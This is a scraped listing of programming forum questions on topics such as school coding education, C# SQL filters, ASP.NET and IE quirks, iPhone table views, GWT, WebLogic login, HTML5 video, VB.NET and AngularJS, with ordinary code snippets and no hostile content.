  • How do we, as a community, help encourage programming in public schools? (Or state Schools for the U

    - by NoMoreZealots
    PRIMARY MOTIVATION My office gets involved with the "First Robotics" competitions and one thing that lingers year to year is the students typically have no preparation for doing even simple programming as part of the public schools system. While the science classes provide some basic grasp of mechanical and electrical concepts, by in large computer programming gets no coverage from the curriculum. (This my be different in other areas of the country/world.) What makes it worse is there is only a short period of time you have to prepare the student's and help them design the robot. Talking to some professors from local colleges, it's a problem because you can't assume even the most basic understanding for freshman CS majors. Languages like Python, Lua and BASIC are simple enough for at least high school level students, if not younger. SCOPE So how do you get public schools to support a programming, at least to the level of "Try it in BASIC" examples that used to be at the end of a chapter in my Algebra book? At least enough to prepare them for event's such as the FIRST Robotic competitions. Which the primary objectives are to teach problem solving and team work, and to possible foster an interest in Math, Science and Engineering in general. (Not force feed to them, as some people her seem to be implying.) Edit: Why teach kids: (Since 2000 CS enrollment in US colleges has decreased by 70% while college enrollment has increased, this is a PROBLEM.) Saying there is no value in teaching someone programming in Jr./High school because they might think "they know programming." Is like saying there's no value in teaching High school science and physics, because they might decide they "know physics." Leading to abuse like: "I passed a high school physics class, I'm going to develop a Unified Quantum Gravitational Theory." Better Prepared students are better students. Instead it would allows college programs to raise the bar on the entry level courses, allowing students to be weeded out based on their understanding of more advanced material. Plus people who did poorly in that in topic in High school aren't as likely to say "I think there's money in computer's so I'll computer science." Plus if people take it in high school and decide THEN that it's not for them, it's better than them wasting their money to PAY a college to figure that out. The result is that people who take the degree are more likely to succeed and be there for the RIGHT reasons. (i.e. It's what they REALLY want to do. And that's REALLY the key to being good at anything.) Programming is like anything else, the more practice and genuine interest you have the better you get. If you start them later, they get less practice. The earlier give them the opportunity to start, the more practice they will get. All other things equal, the more practice the better the programmer.

  • Is it a oop good design ?

    - by remi bourgarel
    Hi all, I'd like to know what you think about this part of our program is realized : We have in our database a list of campsite. Partners call us to get all the campsites near a GPS location or all the campsites which provide a bar (we call it a service). So how I realized it ? Here is our database : Campsite - ID - NAME - GPS_latitude - GPS_longitude CampsiteServices -Campsite_ID -Services_ID So my code (c# but it's not relevant, let say it's an OO language) looks like this public class SqlCodeCampsiteFilter{ public string SqlCode; public Dictionary<string, object> Parameters; } interface ISQLCampsiteFilter{ SqlCodeEngineCore CreateSQLCode(); } public class GpsLocationFilter : ISQLCampsiteFilter{ public float? GpsLatitude; public float? GpsLongitude; public SqlCodeEngineCore CreateSQLCode() { --return an sql code to filter on the gps location like dbo.getDistance(@gpsLat,@gpsLong,campsite.GPS_latitude,campsite.GPS_longitude) with the parameters } } public class ServiceFilter : : ISQLCampsiteFilter{ public int[] RequiredServicesID; public SqlCodeEngineCore CreateSQLCode() { --return an sql code to filter on the services "where ID IN (select CampsiteServices.Service_ID FROm CampsiteServices WHERE Service_ID in ...) } } So in my webservice code : List<ISQLFilterEngineCore> filters = new List<ISQLFilterEngineCore>(); if(gps_latitude.hasvalue && gps_longitude.hasvalue){ filters.Add (new GpsLocationFilter (gps_latitude.value,gps_longitude.value)); } if(required_services_id != null){ filters.Add (new ServiceFilter (required_services_id )); } string sql = "SELECT ID,NAME FROM campsite where 1=1" foreach(ISQLFilterEngineCore aFilter in filters){ SqlCodeCampsiteFilter code = aFilter.CreateSQLCode(); sql += code.SqlCode; mySqlCommand.AddParameters(code.Parameters);//add all the parameters to the sql command } return mySqlCommand.GetResults(); 1/ I don't use ORM for the simple reason that the system exists since 10 years and the only dev who is here since the beginning is starting to learn about difference between public and private. 2/ I don't like SP because : we can do override, and t-sql is not so funny to use :) So what do you think ? Is it clear ? Do you have any pattern that I should have a look to ? If something is not clear please ask

  • What exactly dose this piece of JavaScript do ?

  • Why Won't My ASP.NET Hyperlink Work in IE?

    - by Giffyguy
    I'm making a very simple ad button system using ASP.NET 2.0 The advertisment is a 150x150px square that is displayed on "the r house." (Scroll down a little and you'll see the bright green "Angry Octopus" on the right side of the screen.) Now, I am not the administrator of "the r house." Instead, I am the administrator of angryoctopus.net Therefore, I don't have the ability to change the ad display code on a whim. So I gave "the r house" this snippet of code to display our ad nicely, while still allowing me to customize the back-end code on my end: <iframe src="http://www.angryoctopus.net/Content/Ad/150x150.aspx" frameborder="0" width="150" height="150" scrolling="no" style="padding: 0; margin: 0;"></iframe> You'll find this snippet in the page source to "the r house." On my side, the code looks like this: <asp:HyperLink runat="server" NavigateUrl="http://www.angryoctopus.net/" Target="_top"> <asp:Panel ID="pnlMain" runat="server" BackColor="#D1E231" style="padding: 0; margin: 0" Width="150" Height="150"> <asp:Image runat="server" ImageUrl="http://www.angryoctopus.net/Content/Ad/150x150.png" BorderStyle="None" style="padding: 0; margin: 0" /> </asp:Panel> </asp:HyperLink> ... and there's some insignificant back-end C# code for hit-counting. This looks all well and good from the code standpoint, as far as I can tell. Everything works in Firefox and Chrome. Also, everything appears to work in IE8 in all of my tests. I haven't tested IE7. But when you view "the r house" in IE(8) the hyperlink doesn't do anything, and the cursor doesn't indicate that the hyperlink is even there. Although you can see the target URL in the status bar. I've considered the fact that "the r house" uses XHTML 1.0 Strict could be causing problems, but that would probably effect Firefox and Chrome right? (My aspx pages use XHTML 1.0 Transitional) My only other theory is that some random CSS class could be applying a weird attribute to my iframe, but again I would expect that would effect Firefox and Chrome. Is this a security issue with IE? Does anyone know what part of the r house's website could be blocking the hyperlink in IE? And how can I get around this without having to hard code anything on the r house's website? Is there an alternative to iframe that would do the same job without requiring complicated scripting?

  • Issues adding search to iPhone app

    - by Graeme
    Hi, Basically I'm trying to add a search function to my iPhone app, but I'm not having much luck at the moment. I've downloaded the Apple provided Table Search app, and have copied across the code to mine. It builds OK, but here's the problem. Unlike the Apple example, all my data is stored in an array, that is accessed by calling [ciParser.currentArray]. Any ideas on how to change the code to suit my needs? I'm getting an error "Terminating app due to uncaught exception 'NSRangeException', reason: '* -[NSCFArray objectAtIndex:]: index (0) beyond bounds (0)'" whenever I click on the search bar and the app exits. Below is the code in particular that the debugger highlights as being troublesome. Apparently this error means the database trying to be searched is empty, but I could be wrong. FYI my app downloads and parsers an RSS feed using a class which is referenced by ciParser - which in turn stores the downloaded content in an array that I need to search. // Customize the appearance of table view cells. - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"Cell"; UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier]; if (cell == nil) { cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease]; } /* If the requesting table view is the search display controller's table view, configure the cell using the filtered content, otherwise use the main list. */ CurrentItem * nextCurrentItem=[ciParser.currentArray objectAtIndex:indexPath.row]; if (tableView == self.searchDisplayController.searchResultsTableView) { (Code which debugger points to as being wrong) nextCurrentItem = [self.filteredListContent objectAtIndex:indexPath.row]; } else { nextCurrentItem = [ciParser.currentArray objectAtIndex:indexPath.row]; } NSString*settingValue = [[NSUserDefaults standardUserDefaults]stringForKey:@"state"]; if ([settingValue isEqualToString:@"New South Wales"]) { cell.textLabel.text=nextCurrentItem.title; } else if ([settingValue isEqualToString:@"Western Australia"]) { cell.textLabel.text=@"The FESA does not provide any Current Incident reports."; } else if ([settingValue isEqualToString:@"Victoria"]) { cell.textLabel.text=nextCurrentItem.title; } else if ([settingValue isEqualToString:@"South Australia"]) { cell.textLabel.text=nextCurrentItem.title; } else if ([settingValue isEqualToString:@"Tasmania"]) { cell.textLabel.text=nextCurrentItem.title; } // Set up the cell... [cell setAccessoryType:UITableViewCellAccessoryDisclosureIndicator]; return cell; }

  • GWT combobox not displaying correctly

    - by James
    Hi, I am using GWT with GWT-EXT running in glassfish. I create 2 combo boxes as follows: import com.extjs.gxt.ui.client.widget.form.ComboBox; import com.extjs.gxt.ui.client.widget.form.SimpleComboBox; this.contentPanel = new ContentPanel(); this.contentPanel.setFrame(true); this.contentPanel.setSize((int)(Window.getClientWidth()*0.95), 600); this.contentPanel.setLayout(new FitLayout()); initWidget(this.contentPanel); SimpleComboBox<String> combo = new SimpleComboBox<String>(); combo.setEmptyText("Select a topic..."); combo.add("String1"); combo.add("String2"); this.contentPanel.add(combo); ComboBox combo1 = new ComboBox(); combo1.setEmptyText("Select a topic..."); ListStore topics = new ListStore(); topics.add("String3"); topics.add("String4"); combo.setStore(topics); this.contentPanel.add(combo1); When these are loaded in the browser (IE 8.0, Firefox 3.6.6 or Chrome 10.0) the combo boxes are shown but don't have the pull down arrow. They look like a text field with the "Select a topic..." text. When you select the text it disappears and if you type a character and then delete it the options are shown (i.e. pull down is invoked) however, there is still no pull down arrow. Does anyone know what the issue might be? Or how I can investigate further? Is it possible to see the actual HTML the browser is getting, when I View Page Source I only get the landing page HTML. As an additional I also have a import com.google.gwt.user.client.ui.Grid that does not render correctly. It is in table format but has no grid lines or header bar etc. Cheers, James

  • Internet Explorer buggy when accessing a custom weblogic provider

    - by James
    I've created a custom Weblogic Security Authentication Provider on version 10.3 that includes a custom login module to validate users. As part of the provider, I've implemented the ServletAuthenticationFilter and added one filter. The filter acts as a common log on page for all the applications within the domain. When we access any secured URLs by entering them in the address bar, this works fine in IE and Firefox. But when we bookmark the link in IE an odd thing happens. If I click the bookmark, you will see our log on page, then after you've successfully logged into the system the basic auth page will display, even though the user is already authenticated. This never happens in Firefox, only IE. It's also intermittent. 1 time out of 5 IE will correctly redirect and not show the basic auth window. Firefox and Opera will correctly redirect everytime. We've captured the response headers and compared the success and failures, they are identical. final boolean isAuthenticated = authenticateUser(userName, password, req); // Send user on to the original URL if (isAuthenticated) { res.sendRedirect(targetURL); return; } As you can see, once the user is authenticated I do a redirect to the original URL. Is there a step I'm missing? The authenticateUser() method is taken verbatim from an example in Oracle's documents. private boolean authenticateUser(final String userName, final String password, HttpServletRequest request) { boolean results; try { ServletAuthentication.login(new CallbackHandler() { @Override public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException { for (Callback callback : callbacks) { if (callback instanceof NameCallback) { NameCallback nameCallback = (NameCallback) callback; nameCallback.setName(userName); } if (callback instanceof PasswordCallback) { PasswordCallback passwordCallback = (PasswordCallback) callback; passwordCallback.setPassword(password.toCharArray()); } } } }, request); results = true; } catch (LoginException e) { results = false; } return results; I am asking the question here because I don't know if the issue is with the Weblogic config or the code. If this question is more suited to ServerFault please let me know and I will post there. It is odd that it works everytime in Firefox and Opera but not in Internet Explorer. I wish that not using Internet Explorer was an option but it is currently the company standard. Any help or direction would be appreciated. I have tested against IE 6 & 8 and deployed the custom provider on 3 different environments and I can still reproduce the bug.

  • HTML5 Video Tag in Chrome - Why is currentTime ignored when video downloaded from my webserver?

    - by larson4
    I want to be able to play back video from a specific time using the HTML5 video tag (and currently only need to worry about Chrome). This is possible by setting the currentTime property of a video element. That works fine in Chrome with a video sourced from html5rocks.com, but is ignored when the same file is loaded from my own local webserver. Using the sample code from http://playground.html5rocks.com/#video_tag, I have arrived at the following HTML: <!DOCTYPE html> <html> <body> <video id="video1" width="320" height="240" volume=".7" controls preload=true autobuffer> <source src="http://playground.html5rocks.com/samples/html5_misc/chrome_japan.webm" type='video/webm; codecs="vp8, vorbis"'/> </video> <input type=button onclick="play()" value="play"> <input type=button onclick="setTime()" value="setTime"> <input type=button onclick="pause()" value="pause"> <script> var play=function() { document.getElementById("video1").play(); } var setTime=function() { document.getElementById("video1").currentTime=2; } var pause=function() { document.getElementById("video1").pause(); } </script> </body> </html> Using Chrome, if you Wait for the video to download for a bit (until the progress bar is about 10% in) Press setTime - you should notice the time jump to 2 seconds press play ...the video will start at 2 seconds in. But if I download the webm file in the source src to my local webserver, and change src to point locally: <source src="chrome_japan.webm" type='video/webm; codecs="vp8, vorbis"'/> ...then setting currentTime is complete ignored. No errors are showing in the developer tools console. Now, my webserver is serving this with mime type "video/webm", but it will be served like any old file -- not streamed. Do I need a webserver that streams in some specific way? What else could be at fault here? Note: The webserver is a proprietary platform and won't have any of the same exact settings or controls one might expect of Tomcat or some other commonly used webserver, though there may be other ways to achieve the same effect.

  • Future of VB.NET? [closed]

    - by Alex Yeung
    Hi all, I worked with C# for years. Last year, I changed my job and the company use VB.NET. Of course, theoretically C# and VB.NET are very similar and I easily adapted. However, I have worked for VB.NET for 1 year. I cannot see any future of VB.NET. As a programming language, it is so foo. Here is a list of what C# can do but VB.NET cannot Case insensitive variables how to think a new variable name? If I have a property called FolderPath, i need to establish another private variable called _folderPath or m_folderPath. In C#, FolderPath and folderPath are two variables. Moreover, it gets compile error if variable name is same as a class name. For example Dim guid = Guid.NewGuid(). (What the...) Again, I need to think a new variable name. Adhoc scope In C#, we could use {...} to create a adhoc scope and all resource in {...} will not affect the code outside. However there is not such syntax in VB.NET. I could only use If True Then and End If to make a local scope which is so unclear. In-Method Region Sometime, it is unavoidable to have a long long method. VB.NET does not support in-method region. I always need to scroll down for 1000 lines. It wastes my time. No multi-line string definition In C#, we could var s = @"..." to define a multi-line string. In VB.NET there is no direct method to do that. The indirect way is use XML-literal string. Dim s = <![CDATA[...]]>.Value. However it is unclear. No block comment In C#, we have line comment // and block comment /* ... */. However in VB.NET we only have line comment which is a very big trouble for me. No statement end symbol Statements are separated by line break in VB.NET; while statements are separated by ; in C#. Underscore I think many people know underscore _ is continue statement symbol. I really disagree with that. I know MS VB.NET language team is going to remove the underscore syntax from VB.NET. However what can we do now? Although underscore is removed in the future, what's the advantage of that? I cannot see any advantage! With scope With scope is an evil scope. Although it allows shorter statement, it is hard to trace. Default Namesapce in project level It is a nightmare for me. The only advantage of VB.NET is property initialization. I think C# cannot do that (correct me if I am wrong.) Public Property ThisIsMyProperty As String = "MyValue" Remarks: I don't think optional method parameters is an advantage of OOP. By those disadvantages, I cannot see the future of VB.NET. Anyone sees the future of VB.NET?

  • Angularjs togglecheck error(not working as intended) with prechecked data

    - by crozzfire
    I have this plunker where i have a button that opens a bootstrap modal dialog box. I the modal, when a course is selected(checked) from this list, it adds 3 to the $scope.planned and also increases the progress bar accordingly. Similarly it also reduces in the same way when a checkbox is unchecked. This is the function that does the above: $scope.toggleCheck = function (course) { //debugger var x = $scope.checkcoursefunction($scope.selectedCourses, course); if(x==true){ $scope.selectedCourses.splice($scope.selectedCourses.indexOf(course), 1); $scope.planned -= 3; } else{ if ($scope.selectedCourses.indexOf(course) === -1){ $scope.selectedCourses.push(course); $scope.planned += 3; } else { $scope.selectedCourses.splice($scope.selectedCourses.indexOf(course), 1); $scope.planned -= 3; } } $scope.getPercentage(); }; I have 2 services from where the controller fetches its data named Requirements and Planned Services. The table in the modal has a list of the requirements service data. I also have a function named checkplanneddetails() that checks if an item from this data is present in the requirements data. If present, they come in the table pre-checked. This is the function that checks: $scope.checkplanneddetails = function(course){ $scope.coursedetail = course; $scope.requirementcoursename = ($scope.coursedetail.course.subject).concat("-",$scope.coursedetail.course.course_no); for(var k = 0; k < $scope.planneddetails.length; k++){ if($scope.requirementcoursename==$scope.planneddetails[k].course_name){ $scope.selectedCourses.push(course); return true; } } return false; }; $scope.checkcoursefunction = function(arr,obj){ return (arr.indexOf(obj) != -1); } This works fine with bringing the data as checked. But the togglecheck() function does not work as they are supposed to with these checked details(they work in reverse). It always returns true(for var x in togglecheck) even after the splice function. Am i splicing the course correctly?

    On my site a number of operations can take a long time to complete. When I know a page will take a while to load, I would like to display a progress indicator while the page is loading. Ideally I would like to say something along the lines of: $("#dialog").show("progress.php"); and have that overlay on top of the page that is being loaded (disappearing after the operation is completed). Coding the progress bar and displaying progress is not an issue, the issue is getting a progress indicator to pop up WHILE the page is being loaded. I have been trying to use JQuery's dialogs for this but they only appear after the page is already loaded. This has to be a common problem but I am not familiar enough with JavaScript to know the best way to do this. Here's simple example to illustrate the problem. The code below fails to display the dialog box before the 20 second pause is up. I have tried in Chrome and Firefox. In fact I don't even see the "Please Wait..." text. Here's the code I am using: <html> <head> <link type="text/css" href="http://jqueryui.com/latest/themes/base/ui.all.css" rel="stylesheet" /> <script type="text/javascript" src="http://jqueryui.com/latest/jquery-1.3.2.js"></script> <script type="text/javascript" src="http://jqueryui.com/latest/ui/ui.core.js"></script> <script type="text/javascript" src="http://jqueryui.com/latest/ui/ui.dialog.js"></script> </head> <body> <div id="please-wait">My Dialog</div> <script type="text/javascript"> $("#please-wait").dialog(); </script> <?php flush(); echo "Waiting..."; sleep(20); ?> </body> </html>

Is there a way around this? Thanks a bunch in advance.

  • Problems manipulating strings through a stdcall to a dll

    - by ibiza
    I need to create a C++ dll that will be called from another program through stdcall. What is needed : the caller program will pass an array of string to the dll and the dll should change the string values in the array. The caller program will then continue to work with these string values that came from the dll. I made a simple test project and I am obviously missing something... Here is my test C++ dll : #ifndef _DLL_H_ #define _DLL_H_ #include <string> #include <iostream> struct strStruct { int len; char* string; }; __declspec (dllexport) int __stdcall TestFunction(strStruct* s) { std::cout << "Just got in dll" << std::endl; std::cout << s[0].string << std::endl; //////std::cout << s[1].string << std::endl; /* char str1[] = "foo"; strcpy(s[0].string, str1); s[0].len = 3; char str2[] = "foobar"; strcpy(s[1].string, str2); s[1].len = 6; */ //std::cout << s[0].string << std::endl; //std::cout << s[1].string << std::endl; std::cout << "Getting out of dll" << std::endl; return 1; } #endif and here is a simple C# program that I am using to test my test dll : using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; namespace TestStr { class Program { [DllImport("TestStrLib.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public static extern int TestFunction(string[] s); static void Main(string[] args) { string[] test = new string[2] { "a1a1a1a1a1", "b2b2b2b2b2" }; Console.WriteLine(test[0]); Console.WriteLine(test[1]); TestFunction(test); Console.WriteLine(test[0]); Console.WriteLine(test[1]); Console.ReadLine(); } } } And here is the output produced : a1a1a1a1a1 b2b2b2b2b2 Just got in dll b2b2b2b2b2 Getting out of dll a1a1a1a1a1 b2b2b2b2b2 I have some questions : 1) Why is it outputting the element in the second position of the array rather than in the first position?? 2) If I uncomment the line commented with ////// in the dll file, the program crashes. Why? 3) Obviously I wanted to do more things in the dll (the parts in /* */) than what it does right now, but I am blocked by the first 2 questions... Thanks for all your help

  • In a PHP project, how do you organize and access your helper objects?

    - by Pekka
    How do you organize and manage your helper objects like the database engine, user notification, error handling and so on in a PHP based, object oriented project? Say I have a large PHP CMS. The CMS is organized in various classes. A few examples: the database object user management an API to create/modify/delete items a messaging object to display messages to the end user a context handler that takes you to the right page a navigation bar class that shows buttons a logging object possibly, custom error handling etc. I am dealing with the eternal question, how to best make these objects accessible to each part of the system that needs it. my first apporach, many years ago was to have a $application global that contained initialized instances of these classes. global $application; $application->messageHandler->addMessage("Item successfully inserted"); I then changed over to the Singleton pattern and a factory function: $mh =&factory("messageHandler"); $mh->addMessage("Item successfully inserted"); but I'm not happy with that either. Unit tests and encapsulation become more and more important to me, and in my understanding the logic behind globals/singletons destroys the basic idea of OOP. Then there is of course the possibility of giving each object a number of pointers to the helper objects it needs, probably the very cleanest, resource-saving and testing-friendly way but I have doubts about the maintainability of this in the long run. Most PHP frameworks I have looked into use either the singleton pattern, or functions that access the initialized objects. Both fine approaches, but as I said I'm happy with neither. I would like to broaden my horizon on what is possible here and what others have done. I am looking for examples, additional ideas and pointers towards resources that discuss this from a long-term, real-world perspective. Also, I'm interested to hear about specialized, niche or plain weird approaches to the issue. Bounty I am following the popular vote in awarding the bounty, the answer which is probably also going to give me the most. Thank you for all your answers!

  • iPhone: Grouped tables and navigation controller issues

    - by Jack Griffiths
    Hi there, I've set up a grouped table on my app, and pushing to new views works fine. Except for one thing. The titles and stack layout are all weird. Here's the breakdown: I have two sections in my table. When I tap on the first row in the first section, it takes me to the correct view, but the title of the new view is the name of the first row in the second section of the table. In turn, the second row in the first section's title is the second row in the second section's title. If I tap on the second row in the second section of the root view table, the navigation button goes to the second row in the first section of the table. So here's a diagram of my table: Table Section 1 Row 1 Row 2 Row 3 Table Section 2 Row A Row B Row C So if I tap on row 3, the title of the pushed view is Row C. The navigation button tells me to go back to Row 3, then eventually ending up at the root view. Here's my implementation file pushing the views: - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { //CSS if ([[arryClientSide objectAtIndex:indexPath.row] isEqual:@"CSS"]) { CSSViewController *css = [[CSSViewController alloc] initWithNibName:@"CSSViewController" bundle:nil]; [css setTitle:@"CSS"]; [self.navigationController pushViewController:css animated:YES]; } //HTML if ([[arryClientSide objectAtIndex:indexPath.row] isEqual:@"HTML"]) { HTMLViewController *html = [[HTMLViewController alloc] initWithNibName:@"HTMLViewController" bundle:nil]; [html setTitle:@"HTML"]; [self.navigationController pushViewController:html animated:YES]; } //JS if ([[arryClientSide objectAtIndex:indexPath.row] isEqual:@"JavaScript"]) { JSViewController *js = [[JSViewController alloc] initWithNibName:@"JSViewController" bundle:nil]; [js setTitle:@"JavaScript"]; [self.navigationController pushViewController:js animated:YES]; } //PHP if ([[arryServerSide objectAtIndex:indexPath.row] isEqual:@"PHP"]) { PHPViewController *php = [[PHPViewController alloc] initWithNibName:@"PHPViewController" bundle:nil]; [php setTitle:@"PHP"]; [self.navigationController pushViewController:php animated:YES]; } //SQL if ([[arryServerSide objectAtIndex:indexPath.row] isEqual:@"SQL"]) { SQLViewController *sql = [[SQLViewController alloc] initWithNibName:@"SQLViewController" bundle:nil]; [sql setTitle:@"SQL"]; [self.navigationController pushViewController:sql animated:YES]; } & the array feeding the table's data: - (void)viewDidLoad { [super viewDidLoad]; arryClientSide = [[NSArray alloc] initWithObjects:@"CSS",@"HTML",@"JavaScript",nil]; arryServerSide = [[NSArray alloc] initWithObjects:@"Objective-C", @"PHP",@"SQL",nil]; // arryResources = [[NSArray alloc] initWithObjects:@"HTML Colour Codes", @"Useful Resources", @"About",nil]; self.title = @"Select a Language"; [super viewDidLoad]; // Uncomment the following line to display an Edit button in the navigation bar for this view controller. // self.navigationItem.rightBarButtonItem = self.editButtonItem; } Any help would be greatly appreciated.

  • WPF windows locked when calling webservice. Even when run asynchronously

    - by SumGuy
    Hi there. I'm having a big problem when calling a web service from my WPF application. The application/window locks until the process has completed. I've attempted to run this asynchronously but the problem still persists. Currently, the web service call I'm making can last 45-60 seconds. It runs a process on the server to fetch a big chunk of data. As it take a little while I wanted to have a progress bar moving indeterminately for the user to see that the application hasn't stalled or anything (you know how impatatient they get). So: private void btnSelect_Click(object sender, RoutedEventArgs e) { wDrawingList = new WindowDrawingList(systemManager); AsyncMethodHandler caller = default(AsyncMethodHandler); caller = new AsyncMethodHandler(setupDrawingList); // open new thread with callback method caller.BeginInvoke((Guid)((Button)sender).Tag, MyAsyncCallback, null); } Click a button and the app will create the form that the async stuff will be posted to and set up the async stuff calling the async method. public bool setupDrawingList(Guid ID) { if (systemManager.set(ID)) { wDrawingList.Dispatcher.Invoke(DispatcherPriority.Background, new Action(() => { wDrawingList.ShowForm(); Hide(); })); return true; } return false; } This is the async method. The showForm method contains the calls to setup the new form including the monster web service call public void MyAsyncCallback(IAsyncResult ar) { // Because you passed your original delegate in the asyncState parameter of the Begin call, you can get it back here to complete the call. MethodDelegate dlgt = (MethodDelegate)ar.AsyncState; // Complete the call. bool output = dlgt.EndInvoke(ar); try { // Retrieve the delegate. AsyncResult result = (AsyncResult)ar; AsyncMethodHandler caller = (AsyncMethodHandler)result.AsyncDelegate; // Because this method is running from secondary thread it can never access ui objects because they are created // on the primary thread. // Call EndInvoke to retrieve the results. bool returnValue = caller.EndInvoke(ar); // Still on secondary thread, must update ui on primary thread UpdateUI(returnValue == true ? "Success" : "Failed"); } catch (Exception ex) { string exMessage = null; exMessage = "Error: " + ex.Message; UpdateUI(exMessage); } } public void UpdateUI(string outputValue) { // Get back to primary thread to update ui UpdateUIHandler uiHandler = new UpdateUIHandler(UpdateUIIndicators); string results = outputValue; // Run new thread off Dispatched (primary thread) this.Dispatcher.Invoke(System.Windows.Threading.DispatcherPriority.Normal, uiHandler, results); } public void UpdateUIIndicators(string outputValue) { // update user interface controls from primary UI thread sbi3.Content = "Processing Completed."; } Any help or theories are appreciated. I'm at a loss. Thanks in advance

There are two buttons on it- Search and History. I want to display selected items in a table in History tab. But i can not bring the selected item from SearchTableViewController.m to the class (HistoryTableViewController.m) The problem is : I can hold one of the selected items in an array (named deneme)from table in SearchTableViewController.m but i can not take it to HistoryTableViewController.m. It prints nil in console screen.... If I can make it visible in History class, I display those selected items on table. Please help me !!!

  • Internet explorer and floats: please explain

    - by cletus
    Yesterday someone asked Width absorbing HTML elements. I presented two solutions: one table-based and one pure CSS. Now the pure CSS one works well in Firefox and Chrome but not in IE. Basically the floats are being bumped down to the next line. It is my understanding (and the behaviour of FF and Chrome) that this should not be the case because the left divs are block level elements that floats should basically ignore. Complete code example is below. Adding a DOCTYPE to force IE into standards compliant mode helps slightly but the problem remains. So my question is: am I mistaken about my understanding of floats or is this IE's problem? More importantly, how do I get this to work in IE? It's been bugging the hell out of me. <html> <head> <style type="text/css"> div div { height: 1.3em; } #wrapper { width: 300px; overflow: hidden; } div.text { float: right; white-space: nowrap; clear: both; background: white; padding-left: 12px; text-align: left; } #row1, #row2, #row3, #row4, #row5, #row6 { width: 270px; margin-bottom: 4px; } #row1 { background: red; } #row2 { background: blue; } #row3 { background: green; } #row4 { background: yellow; } #row5 { background: pink; } #row6 { background: gray; } </style> <script type="text/javascript" src="http://www.google.com/jsapi"></script> <script type="text/javascript"> google.load("jquery", "1.3.2"); google.setOnLoadCallback(function() { $(function() { $("div.text").animate({ width: "90%" }, 2000); }); }); </script> </head> <body> <div id="wrapper"> <div class="text">FOO</div><div id="row1"></div> <div class="text">BAR</div><div id="row2"></div> <div class="text">THESE PRETZELS ARE</div><div id="row3"></div> <div class="text">MAKING ME THIRSTY</div><div id="row4"></div> <div class="text">BLAH</div><div id="row5"></div> <div class="text">BLAH</div><div id="row6"></div> </div> </body> </html>

  • Re-Add tabBarController's view into window and the device is in landscape mode

    - by user285553
    Hello, I have an app that is a tabBarController based app. I have 4 tabs on it and one of these is for logging in/out in my app. The main ideea is that when I logout, I release the tabBarController (this will release the all 4 view controllers too - I have done this becuse I want to refersh all the views after logging out to look just like the first time).After this, I alloc it again and add the view controllers aagin,set the tabBarItem's titles,etc.This work ok. The problem is when I am in landscape mode;my logout view is painted to fit the landscape area,but after disconnect(now I releasse and alloc again the tabbarController) the view is painted in portrait mode but my device is in lanscape. After disconnected, I call the releaseOldTabView and the createNewTabView.After this tabBarController is in portrait insead of landscape. -(void)releaseOldTabView:(BOOL)tabViewEnabled{ if(tabViewEnabled){ [tabBarController.view removeFromSuperview]; [tabBarController release]; } } -(void)createNewTabView{ tabBarController = [[UITabBarController alloc] init]; NSMutableArray *oneArray = [[NSMutableArray alloc] init]; tabBarController.delegate = self; LoginViewController *login= [[LoginViewController2 alloc] initWithNibName:@"LoginViewController" bundle:nil]; SecondViewController *secondController = [[SecondViewController alloc] initWithNibName:@"SecondViewController" bundle:nil]; ThirdViewController *thirdController = [[ThirdViewController alloc] init]; FourthViewController *fourthController = [[FourthViewController alloc] init]; login.tabBarItem = [[UITabBarItem alloc] initWithTitle:@"Login" image:[UIImage imageNamed:@"connect.png"] tag:0]; secondController.tabBarItem = [[UITabBarItem alloc] initWithTitle:@"TabBar2" image:[UIImage imageNamed:@"tabBar2.png"] tag:1]; thirdController.tabBarItem = [[UITabBarItem alloc] initWithTitle:@"TabBar3" image:[UIImage imageNamed:@"tabBar3.png"] tag:2]; fourthController.tabBarItem = [[UITabBarItem alloc] initWithTitle:@"TabBar4" image:[UIImage imageNamed:@"tabBar4.png"] tag:3]; [oneArray addObject:login]; [oneArray addObject:secondController]; [oneArray addObject:thirdController]; [oneArray addObject:fourthController]; [tabBarController setViewControllers:oneArray]; //[tabBarController.view convertRect:tabBarController.view.frame toView:window]; [window addSubview:tabBarController.view]; [oneArray release]; [login release]; [secondController release]; [thirdController release]; [fourthController release]; } After calling this method, the tabbar view is in portrait,but statusBar(the top bar which says the carrier name) is painted normally(landscape). I also tried the [tabBarController.view convertRect:tabBarController.view.frame toView:window]; but without any succes. Can anyone give a hand of help? Thanks in advance, Alex.
